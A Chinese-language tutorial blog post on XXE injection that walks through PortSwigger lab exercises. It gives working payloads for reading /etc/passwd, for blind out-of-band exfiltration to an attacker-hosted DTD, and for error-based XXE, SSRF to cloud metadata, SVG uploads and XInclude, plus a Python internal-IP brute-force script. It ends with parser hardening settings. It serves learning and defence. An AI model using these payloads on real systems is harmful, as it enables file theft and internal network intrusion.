【网络安全】什么是XXE？从0到1完全掌握XXE

前置知识 XML 定义实体

XML 实体允许定义在分析 XML 文档时将由内容替换的标记，这里我的理解就是定义变量，然后赋值的意思一致。就比如一些文件上传的 payload 中就会有。

XML 文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition）的东西控制的，他就是长得下面这个样子

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message，然后跟元素下面有一些子元素，那么 XML 到时候必须像下面这么写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

而我们必须在 DTD 中创建一个实体，DTD 也就是定义文档类型的文件，一般来说都有<!DOCTYPE这种字样。

image.png

一旦解析器处理了 XML 文档，它将用定义的常量“Jo Smith”替换定义的实体&js

大多数情况下，框架会根据 xml 结构自动填充 Java 对象。

image.png

通俗一点自己写一段代码的话

示例代码：

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里定义元素为 ANY 说明接受任何元素，但是定义了一个 xml 的实体（这是我们在这篇文章中第一次看到实体的真面目，实体其实可以看成一个变量，到时候我们可以在 XML 中通过 & 符号进行引用），那么 XML 就可以写成这样

示例代码：

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对上面定义的 xxe 实体进行了引用，到时候输出的时候 &xxe 就会被 "test" 替换。

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什么是 XXE

个人认为，XXE 可以归结为一句话：构造恶意 DTD

介绍 XXE 之前，我先来说一下普通的 XML 注入，这个的利用面比较狭窄，如果有的话应该也是逻辑漏洞。

image.png

既然能插入 XML 代码，那我们肯定不能善罢甘休，我们需要更多，于是出现了 XXE。

XML 外部实体注入，全称为 XML external entity injection，某些应用程序允许 XML 格式的数据输入和解析，可以通过引入外部实体的方式进行攻击。

我们之前在0x01当中所讲的例子均为内部实体，但是实体实际上可以从外部的 dtd 文件中引用，我们看下面的代码： 示例代码：

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对<typo id="typo-1595" data-origin="引用" ignoretag="true">引用</typo>资源所做的任何更改都会在文档中自动更新,非常方便（方便永远是安全的敌人）

当然，还有一种引用方式是使用引用公用 DTD的方法，语法如下：

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到<typo id="typo-1729" data-origin="和" ignoretag="true">和</typo> SYSTEM 一样的作用

重点二：

我们上面已经将实体分成了两个派别（内部实体和外部外部），但是实际上从另一个角度看，实体也可以分成两个派别（通用实体和参数实体），别晕。。

1.通用实体

用 &实体名; 引用的实体，他在DTD 中定义，在 XML 文档中引用

示例代码：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体：

(1)使用% 实体<typo id="typo-2123" data-origin="名" ignoretag="true">名</typo>(这里面空格不能少) 在 DTD <typo id="typo-2141" data-origin="中" ignoretag="true">中</typo>定义，并且只能在 DTD 中使用%实体名;引用 (2)只有在 DTD 文件中，<typo id="typo-2181" data-origin="参数" ignoretag="true">参数</typo>实体的声明才能引用其他实体
(3)和通用实体一样，参数实体也可以外部引用

示例代码：

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

XXE 的危害

1.像上文那个 file://xxx 的，很明显可以造成敏感数据泄露。
2.可以利用 XXE 执行 SSRF 攻击。
3.利用盲 XXE 将泄露数据外带；通过报错信息检索数据。
4.XXE 与文件上传结合，造成 getshell。

我们后续慢慢看 XXE 的危害。

XXE 几种攻击方式学习

1. 通过 File 协议进行文件读取

示例代码：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

这里的 firstname 以及 lastname 都是在 XML 文件中解析的，我们尝试自己构造 payload 的话可以是这样

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>

test -> "file:///etc/passwd" 通俗易懂

我们依靠一道靶场来加强一下感受

Lab: Exploiting XXE using external entities to retrieve files

题意：通过 XXE 注入爆出/etc/passwd的内容

进入靶场之后，先点击任意一个商品 - "view details"，再 Check stock 并抓包。

这里的 productId 以及 storeId 是通过 XML 的形式传进来的，尝试通过 File 协议进行文件读取

![image.png](https://upload-images.jianshu.io/upload_images/26545687-24ef20b9339be9d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

payload：

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<stockCheck>
<productId>&test;</productId>
<storeId>
4
</storeId>
</stockCheck>

image.png

至于为什么会产生这个漏洞，如果想学习代码审计的师傅可以移步至我博客细究一下代码审计XXE注入 | 芜风

2. XXE 盲注

所谓盲注，就是无回显

XXE 盲注的一般思路，需要使用第三方平台协助攻击。

(1) 基本盲注

以 Port 靶场为例。

Lab: Blind XXE with out-of-band interaction via XML parameter entities

payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator.net"> %xxe; ]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>
        1
    </storeId>
</stockCheck>

image.png

(2) 多个 DTD 的调用攻击

这里以 PHP 代码为例进行说明

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

直接上 payload，并用 payload 加以理解

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]

这是我们对要进行渗透的 payload，有三个参数%remote, %int, %send；后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD

test.dtd

image.png

接着，%int去调用 test.dtd 当中的 file，这里稍微慢一点，分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;；也就是 %file 在前面被定义，而 %file 则是恶意读取了文件，这里可以替换成 /etc/passwd 这类。

如此一来，%int 成为了这个网站的恶意 DTD，在 %int 里面定义了一个 %send 的变量名称。由此，最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload

<?xml version='1.0'?>
<!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]>
<comment>
<text>&send;</text>
</comment>

这样，我们三层的 payload 经过抽丝剥茧，变成了一层简单的 payload。
接下来我们来看一道简单的 Port 靶场上的盲注

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

题目要求我们爆出 /etc/hostname 的文件

依旧是在 Stock 界面进行抓包，同样是 XML 形式

image.png

Port 里面的渗透测试是给我们第三方的服务器的，也就是 exploit server，但是在真正的渗透测试中，如果要测盲注的话，还是需要自己的服务器的。

按照之前的思路，进行多层恶意 DTD 的构造，并把这个恶意 DTD 挂在第三方服务器上面。

image.png

这里点 Store，因为存储之后，就等于你在你自己的服务器上面有了这个恶意的 DTD，一会儿复用即可。恶意 DTD 的 URL 我放在下面，每个人进靶场都是不一样的

URL: https://exploit-acbc1f081e35bba3c0a7180f0145001b.web-security-academy.net/exploit

image.png

成功，我们 exploit 的/etc/hostname在 GET 请求参数中

(3) 报错型盲注

报错型注入是基于 "多个 DTD 的调用攻击"
攻击思路；和 "多个 DTD 的调用攻击" 大部分一致，稍有不同

evil.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"> 
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> 
%eval; 
%exfil;

攻击的 payload

<!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger.net/web-security/xxe) SYSTEM "YOUR-DTD-URL"> 
%xxe;]>

剖析一下

先调用&xxe;，&xxe;去调用上面的恶意 DTD，恶意 DTD 调用了file:///etc/passwd这一操作，这一操作，又被&eval中的内容又会在&exfil中的'file:///invalid/%file;'所调用。但是 invalid/%file 后面的内容一定是报错的，这个报错消息反而会被带出来。

这也就是 XXE 盲注中的报错注入

Lab: Exploiting blind XXE to retrieve data via error messages

根据上述的方法，先在 exploit server 中投放恶意 DTD，再在抓包界面进行调用第三方服务器上的 DTD，便可造成报错注入。

3. 利用 XXE 执行 SSRF

书说上文的 file 协议

我们刚刚都只是做了一件事，那就是通过 file 协议读取本地文件，或者是通过 http 协议发出请求，这其实非常类似于 SSRF ，因为他们都能从服务器向另一台服务器发起请求。

我们如果将远程服务器的地址换成某个内网的地址，（比如 192.168.0.10:8080）是不是也能实现 SSRF 同样的效果呢？

没错，XXE 其实也是一种 SSRF 的攻击手法，因为 SSRF 其实只是一种攻击模式，利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用方式

不能将眼光局限于 file 协议，我们必须清楚地知道在何种平台，我们能用何种协议。

image.png

我们的 payload 一般长这样

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://对方的内网IP"> ]>
<test>
    &xxe;
</test>

当我们无法确定对方的具体 IP 时，可以通过 EXP 的方式进行探测。这里借用 K0rz3n 师傅的 EXP

内网 IP 爆破

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>

def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('存在 XXE 的 URL', data=xml, headers=headers, timeout=5).text 
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i # 对应的内网 IP 地址
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

内网端口爆破

端口的爆破可以使用 Burpsuite 来完成

比如我们传入：

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>

对端口号添加引用符，放置于 Burpsuite Intruder 当中爆破。

靶场：Lab: Exploiting XXE to perform SSRF attacks

常规抓包

image.png

构造 payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>
        1
    </storeId>
</stockCheck>

这里 169.254.169.254 是对方服务器的 IP

发包之后，回显是 400，告诉我们 "Invalid product ID: latest"；再进一步添加接口。

一步步添加接口，直至出现回显数据为止，这种 SSRF 只能够读取到文件，个人认为危害性一般。

4. XXE 与文件上传结合

(1) 使用 svg 上传图片

SVG 图片是一种基于 XML 语法的图像格式，是一种矢量图。

那么我们结合文件上传的功能，可以在 SVG 中编辑 XML 语句，从而达到 XXE 的攻击效果。

一般的 payload

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">

 <text font-size="16" x="0" y="16">

 &xxe;

 </text>

</svg>

这样一来，我们想要知道的信息就能够被暴露在上传的图片当中，也就是此 SVG 图片中。

Lab: Exploiting XXE via image file upload

前往 blog 的评论区界面，先事先创建好 1.svg，并在 SVG 文件当中编辑如下，作为我们的 payload

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
 <text font-size="16" x="0" y="16">
 &xxe;
 </text>
</svg>

上传后，我们的 SVG 图片中突然多了些许文字，点进去查看即可解题。

(2) 利用 jar:// 协议的攻击

这一段内容参考于 K0rz3n 师傅的文章

jar:// 协议的格式：

jar:{url}!{path}

实例：

jar:http://host/application.jar!/file/within/the/zip

! 后面就是其需要从中解压出的文件

jar 协议处理文件的过程：

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件

因为在 java 中 file:/// 协议可以起到列目录的作用，所以我们能用 file:/// 协议配合 jar:// 协议使用

那我们怎么找到这个临时的文件夹呢？不用想，肯定是通过报错的形式展现，如果我们请求的

jar:http://localhost:9999/jar.zip!/1.php

既然找到了临时文件的路径，我们就要考虑怎么使用这个文件了（或者说怎么让这个文件能更长时间的停留在我们的系统之中，我想到的方式就是sleep()）但是还有一个问题，因为我们要利用的时候肯定是在文件没有完全传输成果的时候，因此为了文件的完整性，我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符，这样就能完美的解决这个问题。

5. 利用 XInclude 攻击

利用 XInclude 攻击的方式比起最粗暴的定义DOCTYPE来说更加含蓄些许，当我们无法直接定义DOCTYPE的时候才会转而向 XInclude 攻击；且要求后端采用的是 SOAP 协议。

先说说 SOAP 协议吧，也不难理解。

SOAP 协议在接收到请求后，SOAP 消息必须以 XML 文档的形式返回，所以要以 SOAP 协议作为后端的 Web 界面才会存在 XXE 的隐患。

XInclude 攻击的 payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

不同的是，这里我们被禁止定义DOCTYPE，所以要对 Web 元素下手。

Lab: Exploiting XInclude to retrieve files

image.png

6. 别样的利用方式，复用本地 DTD

这种攻击手段，一般是源于服务器与域名之间存在防火墙，导致数据无法带出。

利用出发点：由于许多包含 DTD 文件的常见 CMS 都是开源的，我们需要寻找要攻击的服务器上的 DTD 文件。

这个方法只需要知道本地DTD文件的路径，并且在该DTD中定义了实体变量并且进行了引用。

比如在ubuntu16.04中，我使用全局搜索得到以下的一些原生dtd文件：

//find / name "*.dtd"

/usr/share/sgml/metacity-common/metacity-theme.dtd
/usr/share/sgml/dtd/xml-core/catalog.dtd
/usr/share/sgml/gconf/gconf-1.0.dtd
/usr/share/gdb/syscalls/gdb-syscalls.dtd
/usr/share/djvu/pubtext/DjVuOCR.dtd
/usr/share/djvu/pubtext/DjVuMessages.dtd
/usr/share/djvu/pubtext/DjVuXML-s.dtd
/usr/share/avahi/avahi-service.dtd
/usr/share/glib-2.0/schemas/gschema.dtd
/usr/share/X11/xkb/rules/xkb.dtd
/usr/share/doc/libxml-parser-perl/examples/ctest.dtd
/usr/share/xml/schema/xml-core/tr9401.dtd
/usr/share/xml/schema/xml-core/catalog.dtd
/usr/share/gtksourceview-3.0/language-specs/language.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd
/usr/share/libgweather/locations.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd

这里使用sip-app_1_0.dtd为例，内容如下。

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> 
<!ELEMENT pattern (%condition;)>

构造 payload

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>

这样依赖，我们在调用&local_dtd的时候，会对 condition 实体进行引用，接着会将 condition 内容替换进来。在复用本地 DTD 文件之后，可以重新定义该文件中的一些参数实体引用；从而进一步构造 payload。

这么干讲还是有点太抽象了，我们看一道靶场体验一下。

Lab: Exploiting XXE to retrieve data by repurposing a local DTD

题目要求我们获得 /etc/passwd 的内容，并且告诉了我们本地 DTD 的路径；以及实体类的名称。

直接构造 payload

<!DOCTYPE message 
[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 
<!ENTITY % ISOamso ' 
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval;
%error; '> 
%local_dtd; ]>

剖析 payload

这里我们调用了本地的 dockbookx.dtd，在调用本地的 dockbookx.dtd 的同时，复写了 ISOamso 这一实体类，ISOamso 被调用的时候就执行了我们的恶意命令，从而达到读取文件的效果。

image.png

XXE 漏洞的防御

禁用外部实体

这种方式在不同语言中不一样

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

禁用外部实体是防御 XXE 最有效的方式

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什么是 XXE

XXE 的危害

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Lab: Exploiting XXE using external entities to retrieve files

Lab: Blind XXE with out-of-band interaction via XML parameter entities

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靶场：Lab: Exploiting XXE to perform SSRF attacks

4. XXE 与文件上传结合

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Lab: Exploiting XInclude to retrieve files

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